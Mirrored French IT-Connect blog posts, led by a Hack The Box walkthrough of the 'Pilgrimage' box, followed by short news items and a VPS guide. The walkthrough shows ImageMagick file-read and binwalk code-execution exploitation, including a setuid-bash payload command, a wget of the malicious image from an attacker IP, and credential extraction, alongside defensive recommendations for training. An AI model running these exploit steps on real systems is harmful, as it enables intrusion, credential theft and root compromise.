PROJET AUTOBLOG


IT-Connect

Site original : IT-Connect

⇐ retour index

Hack The Box – Résoudre la box Pilgrimage : outils, méthodes et recommandations pour se protéger

mardi 28 novembre 2023 à 10:00

I. Présentation

Dans cet article, je vous propose la résolution de la machine Hack The Box Pilgrimage, de difficulté "Facile".

Hack The Box est une plateforme en ligne qui met à disposition des systèmes vulnérables appelés "box". Chaque système est différent et doit être attaqué en adoptant la démarche d'un cyberattaquant. L'objectif est d'y découvrir les vulnérabilités qui nous permettront de compromettre les utilisateurs du système, puis le compte root ou administrateur.

Ces exercices permettent de s’entraîner légalement sur des environnements technologiques divers (Linux, Windows, Active Directory, web, etc.), peuvent être utiles pour tous ceux qui travaillent dans la cybersécurité (attaquants comme défenseurs) et sont très formateurs. 🙂

Je vais vous détailler la marche à suivre pour arriver au bout de cette box en vous donnant autant de conseils et de ressources que possible. N'hésitez pas à consulter les nombreux liens qui sont présents dans l'article.

Cette solution est publiée en accord avec les règles d'HackThebox et ne sera diffusée que lorsque la box en question sera indiquée comme "Retired".

Technologies abordéesLinux, web, PHP
Outils utilisésnmap, ffuf, GitTools, searchsploit, CVE

II. Résolution de la box Pilgrimage

A. Découverte et énumération

Pour l'instant, nous ne disposons que de l'adresse IP de notre cible (10.10.11.219). Commençons par un scan réseau à l'aide de l'outil nmap pour découvrir les services exposés sur le réseau, et pourquoi pas leurs versions.

Technique d'attaque (MITRE ATT&CK) : T1046 - Network Service Discovery

$ nmap --max-retries 1 -T4 -sS -A -v --open -p- -oA nmap-TCPFullVersion 10.10.11.219
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://pilgrimage.htb/

La surface d'attaque est relativement réduite mais contient tout de même un service d'administration. Nous découvrons notamment l’existence d'un vhost valide sur la cible. La commande suivante permet de l'ajouter à notre fichier /etc/hosts pour que notre système puisse le retrouver facilement.

$ echo "10.10.11.219 pilgrimage.htb" | sudo tee -a /etc/hosts

Nous avons donc deux services exposés. J'utilise à présent l'outil ffuf, qui est un outil d'énumération de fichier/dossier web sous Linux. À l'aide de wordlists (dictionnaires ou listes de mots), je tente de trouver des dossiers ou fichiers valides sur le vhost découvert.

Vous l'aurez compris, pour l'attaquant, l'objectif est dans un premier temps d'obtenir le plus d'informations possible sur sa cible, avoir une vue exhaustive de tout ce qui constitue la surface d'attaque de sa cible afin de ne manquer aucune porte d'entrée potentielle. Pour en savoir plus sur ce qu'est la surface d'attaque, je vous oriente vers cet article : Analyse et réduction de la surface d'attaque.

J'utilise notamment l'excellente ressource SecLists de Daniel Miessler, qui contient des tas de wordlists à utiliser en fonction du service à attaquer.

Technique d'attaque (MITRE ATT&CK) : T1595.003 - Active Scanning: Wordlist Scanning

$ ffuf -w $s/Discovery/Web-Content/big.txt -u http://pilgrimage.htb/FUZZ

.git                    [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 25ms]
.htaccess               [Status: 403, Size: 153, Words: 3, Lines: 8, Duration: 26ms]
.htpasswd               [Status: 403, Size: 153, Words: 3, Lines: 8, Duration: 27ms]
assets                  [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 20ms]
tmp                     [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 24ms]
vendor                  [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 23ms]

Grâce à cette énumération, nous découvrons l'existence d'un dossier .git sur le service web. Le dossier .git contient l'intégralité de l'historique des versions d'un projet, y compris des informations sensibles telles que les fichiers de configuration, les mots de passe de base de données, etc. Cela peut donc conduire à de graves fuites d'informations. Nous pouvons récupérer des informations intéressantes dans ce type de dossier, notamment s'il provient des dépôts de code interne de l'entreprise. J'utilise notamment les scripts de GitTools pour télécharger et extraire les informations à partir d'une arborescence de fichier git.

Dans la réalité, ce type de fuite d'information est loin d'être rare, il existe même des Google Dorks pour découvrir les répertoires .git indexés par Google.

Technique d'attaque (MITRE ATT&CK) : T1213.003 - Data from Information Repositories: Code Repositories

On voit ici que GitTools extrait toute l'arborescence git du projet, notamment avec les commits, les différentes versions, etc. Je vous oriente vers cet article pour en savoir plus sur les fichiers présents dans un .git : Git Part 3: Discover the .git Folder.

Le script extractor de GitTools peut ensuite être utilisé pour extraire les fichiers présents dans le dépôt à partir des différents commits :

Nous nous retrouvons donc avec une partie des fichiers de l'application web et notamment son code source ! Plutôt pratique lorsque l'on souhaite s'attaquer à une application web d'avoir son code source à disposition.

À ce propos, il est peut être temps de s'intéresser à ce que fait cette application web !

B. Exploitation de l'application web

En se rendant sur l'application web, nous constatons qu'un formulaire de dépôt de fichier est présent :

Ces fonctionnalités sont toujours très intéressantes pour les attaquants, car si elles contiennent des faiblesses, l'attaquant pourra directement déposer du code malveillant sur le serveur web. Il faut également ici prendre note du "Shrink", qui signifie "rétrécir". Cela signifie que l'image que l'on dépose est modifiée automatiquement pour être rétrécie, ce qui est aussi assez fréquent pour régler des problématiques de taille et poids d'images.

À partir des données présentes dans le code source récupéré précédemment, nous pouvons extraire tout à un tas d'informations très utiles, et notamment l'utilisation de la bibliothèque imageMagick, utilisée pour la manipulation des images :

Cela rappellera de mauvais souvenirs à toute personne ayant travaillé dans la cybersécurité en 2016 : la libraire ImageMagick et sa vulnérabilité ImageTragick (CVE-2016–3714). Étant donné que nous avons récupéré le dépôt git de l'application, nous disposons également du binaire ImageMagick qui est utilisé pour traiter les images et nous pouvons récupérer sa version :

Avec ce numéro de version, nous pouvons effectuer une recherche des vulnérabilités connues grâce à searchsploit :

Deux vulnérabilités connues affectent exactement notre version, l'une des deux permet de lire un fichier arbitraire sur le serveur : CVE-2022-44268 ImageMagick Arbitrary File Read.

Grâce à cette ressource, nous disposons d'un PoC (preuve de concept) utilisable et des détails techniques de la vulnérabilité, un jeu d'enfant donc ! Dernier élément du puzzle, quel fichier lire ? Nous disposons déjà du code source de l'application, il y a de grandes chances pour que le service web soit exécuté sous www-data, qui a des droits de lecture restreints sur le système… Si l'on se penche à nouveau sur le code source de l'application, nous pouvons identifier un fichier intéressant :

Une base de données sqlite, qui sera forcément lisible par le service web puisqu'il n'a pas besoin de service pour lire une base de données sqlite, c'est le code de l'application qui interagit en direct avec ce type de fichier.

Cette vulnérabilité consiste à exploiter un défaut dans le parsing des fichiers d'imageMagick. Il est possible de faire en sorte qu'imageMagick intègre dans l'image qu'il génère (par exemple lors du redimensionnement d'une image), un fichier dont nous contrôlons le nom. Par exemple, j'ajoute à mon image 1.png un champ texte "profile" contenant "/etc/hosts" via l'outil pngcrush :

Je dépose ce fichier sur le serveur, qui va redimensionner mon image, puis je retélécharge l'image générée par l'application web. J'y récupère notamment un bloc de texte hexadécimal qui sera le contenu du fichier intégré via l'exploitation de la vulnérabilité. Le contenu hexadécimal peut être décodé en un fichier /etc/hosts provenant de la cible.

Technique d'attaque (MITRE ATT&CK) : T1190 - Exploiting Public-Facing Application

Maintenant que nous avons validé le fonctionnement de l'attaque, nous pouvons réitérer l'opération pour récupérer la base de données de l'application /var/db/pilgrimage. J'utilise également un petit script Python pour convertir l'hexadécimal récupéré en fichier sqlite. Nous parvenons à obtenir des identifiants, comme le montre l'image ci-dessous.

Technique d'attaque (MITRE ATT&CK) : T1552.001 - Unsecured Credentials: Credentials In Files

C. Élévation de privilège

Nous avons des identifiants, tentons de les utiliser sur le seul autre service exposé : SSH.

Technique d'attaque (MITRE ATT&CK) : T1021.004 - Remote Services: SSH

$ ssh emily@pilgrimage.htb
emily@pilgrimage:~$ cat user.txt
d[REDATECTED]1

Ils fonctionnent ! Nous avons à présent un premier accès à la machine. Ici, plusieurs opérations d'énumération sont généralement menées par l'attaquant. Celui-ci va chercher à savoir où il a atterri et quelles peuvent être les prochaines étapes pour élever ses privilèges sur le système compromis et pour rebondir sur le reste du réseau.

Les opérations d'énumération d'un attaquant sur les systèmes d'exploitation Linux sont généralement assez verbeuses du point de vue des solutions de sécurité (IDS, EDR, etc.). La consultation d'un fichier ou l'exécution de commandes d'énumération (ip, whoami, ps, etc.) sont assez faciles à monitorer de nos jours. Encore faut-il avoir mis en place ces solutions et regarder les alertes qu'elles génèrent !

Regardons par exemple quels sont les processus en cours d'exécution :

Technique d'attaque (MITRE ATT&CK) : T1057 - Process Discovery

$ ps -faux
root    741  0.0  0.0 6816  2968 ?  Ss  15:45 0:00 /bin/bash /usr/sbin/malwarescan.sh
root    760  0.0  0.0 2516   720 ?  S   15:45 0:00  _ /usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/
root    761  0.0  0.0 6816  2416 ?  S   15:45 0:00  _ /bin/bash /usr/sbin/malwarescan.sh

Le script /usr/sbin/malwarescan.sh me semble inhabituel, de plus il tourne en tant que root et nous pouvons lire son contenu :

emily@pilgrimage:~$ cat /usr/sbin/malwarescan.sh
#!/bin/bash

blacklist=("Executable script" "Microsoft executable")

/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do
        filename="/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE" | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p')"
        binout="$(/usr/local/bin/binwalk -e "$filename")"
        for banned in "${blacklist[@]}"; do
                if [[ "$binout" == *"$banned"* ]]; then
                        /usr/bin/rm "$filename"
                        break
                fi
        done
done

À première vue il n'y a pas de vulnérabilité dans le script, les binaires utilisés sont bien spécifiés avec leur chemin absolu. Si l'on s'attarde sur ce qu'il fait concrètement : on peut noter qu'il utilise inotifywait pour être averti de la création d'un fichier dans le dossier de dépôt de fichier de l'application web. Puis il utilise binwalk sur les fichiers nouvellement créés pour en extraire des fichiers éventuellement cachés. Il supprime enfin les fichiers qu'il juge indésirables (ici les exécutables Windows). Le script est donc exécuté par root à chaque fois qu'une image est déposée.

On peut toutefois aller un peu plus loin et se rappeler que le binaire binwalk sera exécuté en tant que root sur le système. Regardons si l'on peut obtenir sa version :

emily@pilgrimage:/var/www/pilgrimage.htb/shrunk$ binwalk -h                               
Binwalk v2.3.2

Comme pour imageMagick, nous pouvons utiliser searchsploit pour récupérer les vulnérabilités liées à cette version :

Technique d'attaque (MITRE ATT&CK) : T1588.00 - Obtain Capabilities: Exploits

Nous pouvons étudier cette vulnérabilité et déposer le code d'exploitation sur notre cible : CVE-2022-4510. Elle permet de faire exécuter du code par binwalk lorsqu'il traite un fichier :

# Sur la machine d'attaque, téléchargement du PoC
$ git clone https://github.com/adhikara13/CVE-2022-4510-WalkingPath.git

# Création d'une image malveillant avec une charge utile
$ python3 walkingpath.py command --command "chmod +s /bin/bash" ../64e4ba1a882ca.png   
                               
# Création d'un mini serveur web
$ python3 -m http.server

Vous l'aurez compris, mon attaque va consister à ajouter le bit setuid au binaire /bin/bash, ce qui permettra à tout utilisateur de l'exécuter avec les droits de son propriétaire, à savoir "root".

Technique d'attaque (MITRE ATT&CK) : T1068 - Exploitation for Privilege Escalation

# Téléchargement de l'image malveillante
emily@pilgrimage:/var/www/pilgrimage.htb/shrunk$ wget http://10.10.14.116:8000/binwalk_exploit.png

# Utilisation du bit setuid sur /bin/bash pour avoir un accès root
emily@pilgrimage:/var/www/pilgrimage.htb/shrunk$ /bin/bash -p 
bash-5.1# cat /root/root.txt
6[REDACTED]f

Nous avons compromis totalement le système cible. Dans un contexte réaliste, cette opération n'est généralement que la première étape d'une cyberattaque. L'attaquant va ici chercher à extraire un maximum d'information sur le système compromis (base d'authentification locale, information sur le réseau local, le domaine, installation de keylogger) puis tenter de propager sa compromission à d'autres machines, voire à tout le système d'information. Il pourra notamment se servir de ce système comme un moyen de rebond vers le reste du réseau interne, mais aussi de la persistance à long terme (backdoor).

IV. Résumé de l'attaque

Voici une description de l'attaque réalisée en utilisant les TTP (Tactics, Techniques and Procedures) du framework MITRE ATT&CK :

TTP (MITRE ATT&CK)Détails
T1046 - Network Service DiscoveryUtilisation de nmap pour découvrir les services exposés sur le réseau
T1595.003 - Active Scanning: Wordlist ScanningUtilisation de ffuf pour énumérer les fichiers et dossiers du service web exposé via des wordlists.
T1213.003 - Data from Information Repositories: Code RepositoriesRécupération du dossier .git présent sur le service web.
T1190 - Exploiting Public-Facing ApplicationExploitation de la CVE-2022-44268, ciblant imageMagick, pour lire des fichiers arbitraires sur la cible
T1552.001 - Unsecured Credentials: Credentials In FilesRécupération et découverte d'identifiants dans un fichier sqlite.
T1021.004 - Remote Services: SSHConnexion au serveur SSH compromis
T1057 - Process DiscoveryDécouverte des processus en cours d'exécution.
T1588.00 - Obtain Capabilities: ExploitsRécupération et utilisation du code d'exploitation de la CVE-2022-4510 ciblant binwalk.
T1068 - Exploitation for Privilege EscalationDépôt du fichier malveillant et exécution du payload via binwalk.

IV. Notions abordées

A. Côté attaquant

Ici, nous avons bien été aidé par les versions des binaires à attaquer, il est important pour un attaquant de savoir récupérer le plus d'informations possibles sur sa cible afin d'avoir une vue la plus complète possible de la surface d'attaque d'un système, d'un simple script ou d'un réseau entier. La connaissance des outils utilisés par les développeurs et de leurs dangers (ici, git) est également importante pour savoir identifier et exploiter chaque faiblesse.

Concernant l'élévation de privilège, le piège était ici de s'acharner sur les instructions bash du script sans se soucier des binaires utilisés, il fallait garder à l’esprit qu'eux aussi sont exécutés par root et peuvent contenir des faiblesses. Savoir décomposer précisément chaque instruction du script et isoler les composants "tiers" est donc important. C'est aussi le cas pour l'application web et l'utilisation d'ImageMagick.

B. Côté défenseur

Pour sécuriser ce système, nous pouvons proposer plusieurs recommandations :

Recommandation n°1 : La recommandation principale serait de mettre à jour les composants du système et de l'application web. Un focus spécial sur le binaire ImageMagick doit être mentionné, car il s'agit d'un binaire "isolé" qui ne sera pas mis à jour via un simple apt-get update. De manière plus formelle, nous pouvons mentionner la directive n°34 du Guide d'hygiène de l'ANSSI : Définir une politique de mise à jour des composants du système d’information.

Recommandation n°2 : Il peut également être recommandé de revoir le process de déploiement des applications web afin de ne pas laisser traîner de dossier .git dans les applications web en production. Il est également possible de configurer le service web pour qu'il ne permette pas la consultation des dossiers .git, par exemple sous Apache :

<DirectoryMatch "^/.*/\.git/">
    Order deny,allow
    Deny from all
</DirectoryMatch>

Recommandation n°3 : Enfin, il peut être recommandé d'étudier la possibilité de faire tourner le script malwarescan.sh avec un utilisateur autre que root. Ce script fait en effet interagir l'utilisateur root avec les fichiers potentiellement malveillants déposés par des utilisateurs externes, ce qui n'est jamais recommandé. À première vue, aucune instruction du script ne requiert réellement les privilèges root pour être exécutée.

Recommandation n°4 : En supposant que l'attaquant soit situé sur Internet et que la machine attaquée soit elle aussi exposée sur Internet, nous pouvons recommander de fermer ou fortement restreindre l'accès au service SSH depuis Internet. Il est par exemple à préférer l'exposition uniquement depuis l'interne, l'application d'un filtrage strict par IP source, ou le passage forcé par une connexion VPN.

J’espère que cet article vous a plu ! N'hésitez pas à donner votre avis dans les commentaires ou sur notre Discord :).

Enfin si vous voulez accéder à des cours et modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité, je vous oriente vers Hack The Box Academy, utilisez ce lien d'inscription (je gagnerai quelques points 🙂 ) : Tester Hack the Box Academy

The post Hack The Box – Résoudre la box Pilgrimage : outils, méthodes et recommandations pour se protéger first appeared on IT-Connect.

Si vous hackez FranceConnect, vous pouvez remporter jusqu’à 20 000 euros !

mardi 28 novembre 2023 à 07:33

Le gouvernement français a mis en place un nouveau programme de Bug Bounty pour son système d'authentification FranceConnect, mais également pour AgentConnect. La découverte d'une vulnérabilité peut rapporter jusqu'à 20 000 euros !

Vous connaissez surement FranceConnect, le système d'authentification que l'on retrouve sur différents sites et qui permet de faciliter la connexion grâce au SSO (en l'occurrence via le protocole OpenID Connect). Aujourd'hui, FranceConnect est utilisé par les citoyens français pour se connecter à des services en ligne publics et privés, notamment celui des impôts. En ce qui concerne AgentConnect, c'est un système similaire, mais à destination des fonctionnaires pour s'authentifier sur les services gouvernementaux internes.

Dans le but de renforcer la sécurité de ces deux solutions d'authentification, la direction interministérielle du numérique (DINUM) a mis en place un programme de Bug Bounty. Autrement dit, il s'agit d'une chasse aux bugs de sécurité. C'est une bonne initiative de la part du gouvernement, car la sécurité de ces deux systèmes d'authentification est cruciale. S'il y a des vulnérabilités découvertes, elles seront corrigées, ce qui permet d'améliorer la sécurité de la solution.

Si vous identifiez une faille de sécurité et que vous parvenez en quelque sorte à hacker FranceConnect, vous obtiendrez une récompense : jusqu'à 20 000 euros. Il s'agit de la somme la plus élevée qu'il est possible de gagner grâce à la découverte d'une faille de sécurité critique qui permettrait de se connecter à FranceConnect avec une fausse identité.

Comme le montre le tableau ci-dessous, les récompenses vont de 100 euros à 20 000 euros, en fonction du service impacté et de la sévérité de la vulnérabilité.

Vous pouvez obtenir tous les détails de ce programme sur le site YesWeHack qui héberge ce Bug Bounty de la DINUM. Ce sera l'occasion de lire l'intégralité du règlement et de participer si vous le souhaitez : un certain nombre de ressources sont à votre disposition.

Que pensez-vous de la mise en place de cette chasse aux bugs ?

Source

The post Si vous hackez FranceConnect, vous pouvez remporter jusqu’à 20 000 euros ! first appeared on IT-Connect.

Panique chez Google Drive : des fichiers supprimés soudainement, sans action de la part des utilisateurs !

lundi 27 novembre 2023 à 20:58

C'est la panique chez les utilisateurs de Google Drive ! De nombreux utilisateurs se plaignent d'avoir perdu de nombreux fichiers correspondants aux données stockées sur leur espace de stockage Cloud depuis plusieurs mois ! Que se passe-t-il ?

Pour rappel, Google Drive est un service de stockage et de partage de fichiers en ligne à la disposition des utilisateurs de Google. Ce service est accessible aux particuliers, mais également aux professionnels par l'intermédiaire de la suite Google Workspace.

Imaginez un instant : vous stockez vos données sur Google Drive, et d'un moment à un autre, vous perdez vos données récentes et la structure de vos dossiers revient à un état antérieur. C'est la mésaventure rencontrée par de nombreux utilisateurs de Google Drive, depuis quelques jours. Du côté des utilisateurs, on tire la sonnette d'alarme, car ce "bug" entraine des pertes de données : "Il s'agit d'un problème sérieux qui doit être traité de toute urgence. Nous avons ouvert un ticket d'assistance, qui n'a pas été utile jusqu'à présent."

Sur les comptes impactés, l'historique des actions récentes ne montre aucune action volontaire de la part de l'utilisateur. Ceci prouve bien que ce ne sont pas les utilisateurs qui ont effectué une mauvaise manipulation. Il s'agirait plutôt d'un problème de synchronisation entre les clients Google Drive et les serveurs dans le Cloud.

D'ailleurs, la réponse de Google que l'on peut lire sur le forum de Google montre que des investigations sont en cours : "Je suis continuellement ce cas et pour être transparents avec vous, nous sommes tout à fait d'accord pour dire que vous n'êtes pas le seul client affecté par ce comportement. [...] Ce problème est actuellement examiné par nos ingénieurs produits et nous attendons d'identifier l'origine du problème pour savoir comment nous pouvons le résoudre."

En attendant qu'il y ait une solution apportée par Google, il est préférable de sauvegarder dès que possible le contenu de votre Google Drive et d'éviter d'apporter des modifications importantes à votre structure de dossiers. Par ailleurs, vous pouvez fermer le client Google Drive de votre ordinateur pour conserver la copie locale de vos données.

Si vous rencontrez ce problème, n'hésitez pas à nous en faire part, et surtout, ouvrez un ticket chez Google.

Source

The post Panique chez Google Drive : des fichiers supprimés soudainement, sans action de la part des utilisateurs ! first appeared on IT-Connect.

Les « Serveurs Privés Virtuels » (VPS) pour les débutants

lundi 27 novembre 2023 à 17:15

I. Présentation

Dans cet article, nous allons parler d'hébergement Cloud puisque nous allons aborder la notion de VPS ! Qu'est-ce que c'est ? A quoi ça sert ? Combien ça coûte ? Que peut-on faire avec ? Comment bien le choisir ? De nombreuses questions peuvent se poser et nous allons y répondre.

En complément de cet article, vous pouvez lire celui-ci :

II. Qu'est-ce qu'un VPS ?

A. Définition d'un VPS

Le terme VPS pour "Virtual Private Server", ou en français "Serveur privé virtuel", désigne un serveur informatique prenant la forme d'une machine virtuelle qu'un fournisseur de services Cloud va mettre à disposition d'un utilisateur.

Ce n'est pas étonnant que ce soit une machine virtuelle (ou "VM") car dans le terme "Virtual Private Server", il y a "Virtual Server" que l'on peut traduire par "Serveur virtuel". Mais, alors, comment faut-il interpréter le troisième mot : Private ?

Un VPS est une machine virtuelle avec des ressources allouées et dédiées pour votre usage sur laquelle vous pouvez installer le système d'exploitation et les applications de votre choix. Autrement dit, vous avez un contrôle complet sur le VPS et il est hébergé sur un environnement isolé.

Puisqu'il s'agit d'un serveur virtuel et qu'une infrastructure VPS repose sur la virtualisation, gardez à l'esprit que le serveur physique sera partagé avec d'autres utilisateurs. Ainsi, un seul et même serveur physique va héberger plusieurs VPS, tout en allouant des ressources à chaque VPS et en s'assurant de la sécurité, la disponibilité, etc.

Schema VPS

B. Les avantages d'un VPS

Le VPS est une solution avantageuse pour plusieurs raisons :

Même si le tarif dépend des ressources allouées au VPS, il s'agit d'une solution adaptée à de nombreux projets et accessible à un coût relativement abordable. En termes de coût, de flexibilité et de performances, c'est un bon compromis entre l'hébergement mutualisé (où vous n'avez pas un contrôle complet sur la configuration) et le serveur dédié (serveur physique dédié à un client) qui est plus coûteux. Concrètement, pour moins de 5 euros par mois, vous pouvez bénéficier d'un VPS !

Avec un VPS, les ressources sont réservées (CPU, RAM, disque, etc.), ce qui permet d'avoir un environnement stable avec un niveau de performance prévisible bien que ce soit mis à disposition dans un environnement partagé.

Un VPS c'est une coquille vide mise à disposition par un fournisseur de services Cloud : à vous de choisir le système d'exploitation que vous souhaitez installer, d'en effectuer la configuration, la sécurisation et d'installer les applications de votre choix. Vous pouvez personnaliser le VPS à votre guise !

Chaque VPS est isolé : si le VPS d'un autre utilisateur est piraté, cela n'affectera pas votre VPS. C'est important de le préciser. Par ailleurs, si vous avez besoin d'isoler plusieurs applications les unes des autres, vous pouvez utiliser plusieurs VPS distincts. Puisque vous pouvez personnaliser votre VPS comme bon vous semble, vous pouvez (et devez) le sécuriser, notamment avec des règles de pare-feu et des outils adaptés (CrowdSec, par exemple).

Même si ce n'est pas possible chez tous les fournisseurs de service, dans bien des cas, il est possible de redimensionner un VPS. Même si cela va impacter le tarif, ceci pourra vous permettre de bénéficier de plus de ressources (plus de RAM, par exemple) afin de faire face à une montée en charge de votre activité.

III. Que peut-on faire avec un VPS ?

Le VPS est un choix populaire et adapté pour de nombreux projets en ligne, c'est-à-dire pour les services qui ont besoin d'être accessibles depuis Internet. Bien qu'il soit difficile de dresser une liste exhaustive de ce que l'on peut faire avec un VPS, voici quelques exemples...

Vous l'aurez compris, un VPS peut répondre à de nombreux besoins : puisque nous avons la main sur le système et les applications, il n'y a pas de réelle limite. Attention tout de même à bien respecter les règles de votre hébergeur.

IV. Comment choisir un VPS ?

A. Quels sont les fournisseurs de VPS ?

La liste de fournisseurs de services Cloud qui proposent des VPS est plus longue que le bras. Cet article n'est pas là pour faire promouvoir un hébergeur plus qu'un autre. Néanmoins, nous pouvons citer quelques noms :

VPS OVHcloud
VPS Infomaniak
VPS Gandi.net
VPS Hostinger

Nous pouvons constater qu'il y a des hébergeurs français, européens et américains. Il y a l'embarras du choix.

B. Quel est le tarif d'un VPS ?

Un VPS peut se louer au mois, voire même à l'heure, en fonction des fournisseurs de service Cloud. Le tarif mensuel va dépendre de plusieurs critères, dont ces 5 caractéristiques principales :

Au-delà de ses caractéristiques générales, chaque hébergeur peut vous proposer un ensemble de services et d'options : adresse IP dédiée, la sauvegarde, l'accès à une console d'urgence (rescue), etc... Si vous souhaitez que l'hébergeur assure la sauvegarde de votre VPS, ceci pourra vous coûter quelques euros en plus par mois (si ce n'est pas inclus dans l'offre de base).

Par exemple, OVHcloud propose un VPS qualifié de "Best-seller" à 13,80€ TTC par mois avec les ressources suivantes :

Du côté de chez Gandi.net, une configuration similaire (en CPU et RAM) est proposée à 18,00€ TTC par mois. Chez les Suisses d'Infomaniak, l'offre de VPS commence à 34,80€ TTC par mois avec 4 CPU et 12 Go de RAM.

Remarque : tarifs donnés à titre indicatif et qui peuvent évoluer à tout moment.

C. Alors, comment choisir un VPS ?

Il n'y a pas de réponse toute faite pour répondre à cette question. Commencez par définir vos besoins en ressources (RAM, CPU, disque et bande passante), ceci vous permettra de faire un premier tri parmi les offres. Si vous n'êtes pas sûr, regardez dans quelle mesure l'hébergeur permet de redimensionner votre VPS.

Ensuite, vous devez rechercher un hébergeur qui propose le système d'exploitation que vous souhaitez installer. Concrètement, tous les hébergeurs ne proposent pas du Windows Server : il faut tenir compte de cette contrainte. Par exemple, chez Gandi.net c'est limité à quelques distributions Linux, tandis qu'il y a un choix plus vaste chez OVHcloud et Infomaniak (Linux et Windows).

Vérifiez également les options de sauvegarde et leur tarif : à mon sens, c'est un plus qu'il y ait un système de sauvegarde (ou à minima des snapshots, même si ça ne remplace pas les sauvegardes) proposé par l'hébergeur directement. Plus largement, jetez un œil aux options de sécurité : à commencer par la présence d'une fonction anti-DDoS.

Si vous avez un projet qui implique l'utilisation de plusieurs VPS, vous pouvez louer des VPS chez différents fournisseurs de services Cloud. Ainsi, vous ne mettez pas tous vos œufs dans le même panier, comme on dit.

Enfin, si vous hésitez entre plusieurs offres de VPS : votre budget que vous vous êtes fixé vous permettra surement de trancher (sinon demandez de l'aide).

V. Conclusion

Suite à la lecture de cet article, vous en savez beaucoup plus sur la notion de VPS ! Peut-être même que vous allez franchir le pas pour un projet perso ou pro ? N'hésitez pas à commenter cet article pour partager vos expériences avec les VPS, mais également pour poser vos questions.

The post Les « Serveurs Privés Virtuels » (VPS) pour les débutants first appeared on IT-Connect.

Avec le service gratuit « Has My Secret Leaked? », vérifiez si vos secrets ont fuité sur GitHub !

lundi 27 novembre 2023 à 15:34

Un outil baptisé Has My Secret Leaked permet de vérifier si vos secrets ont été trouvés sur un dépôt GitHub, sans pour autant que vous ayez besoin d'indiquer vos secrets sur ce site. Ce service de vérification sécurisé mérite d'être connu et il pourrait empêcher certains incidents de sécurité.

Si vous avez l'habitude de publier des projets sur GitHub, êtes-vous certain de ne pas avoir laissé trainer un secret dans l'un de vos fichiers ? Probablement, non. Par secret, j'entends un mot de passe, une clé d'accès à un API, une clé privée, etc... Tout ce qui correspond à des informations sensibles et qui pourraient être utiles aux cybercriminels.

GitGuardian a eu l'excellente idée d'ouvrir à tout le monde son service en ligne gratuit baptisé "Has My Secret Leaked?", que l'on peut traduire en "Mon secret a-t-il été divulgué ?", et qui va permettre de vérifier si vos secrets sont à la portée de tout le monde. Pour cela, l'outil a ingéré une quantité de données importante, notamment en piochant dans l'historique des dépôts.

GitGuardian précise : "Grâce à l'accès à la vaste base de données de GitGuardian, qui contient plus de 20 millions d'enregistrements de secrets ayant fait l'objet d'une fuite détectée, y compris leur emplacement sur GitHub, les utilisateurs peuvent facilement interroger et protéger leurs informations sensibles. Cette base de données est compilée à partir de l'analyse de milliards de fichiers de code, de commits, de gists GitHub et de problèmes depuis 2017."

Effectuez une vérification sans divulguer votre secret

La façon dont le service effectue la vérification est très intéressante puisque vous n'avez pas besoin de copier-coller votre secret sur le site de GitGuardian : ce qui est rassurant.

À la place, vous devez utiliser la ligne de commande pour générer un hash de votre secret, et une partie du hash est transmise au serveur de GitGuardian pour effectuer l'analyse. En effet, GitGuardian a intégré un mécanisme pour faire en sorte que votre secret ne soit jamais transmis en clair à leur serveur et qu'ils ne puissent pas en avoir connaissance, tout en permettant la vérification dans l'énorme base de données.

Le schéma présent sur la page de l'outil est assez explicite et montre bien ce mécanisme. Un simple script Python de quelques lignes peut vous permettre d'utiliser ce service en toute sécurité et de faire vos vérifications.

Si vous avez plusieurs projets sur GitHub, il peut s'avérer utile de prendre du temps pour vérifier si vos secrets ont leakés. Si ce n'est pas le cas, tant mieux. Sinon, vous devez faire le nécessaire au plus vite : cette information pourrait tomber entre les mains d'un pirate et être exploitée.

Source

The post Avec le service gratuit « Has My Secret Leaked? », vérifiez si vos secrets ont fuité sur GitHub ! first appeared on IT-Connect.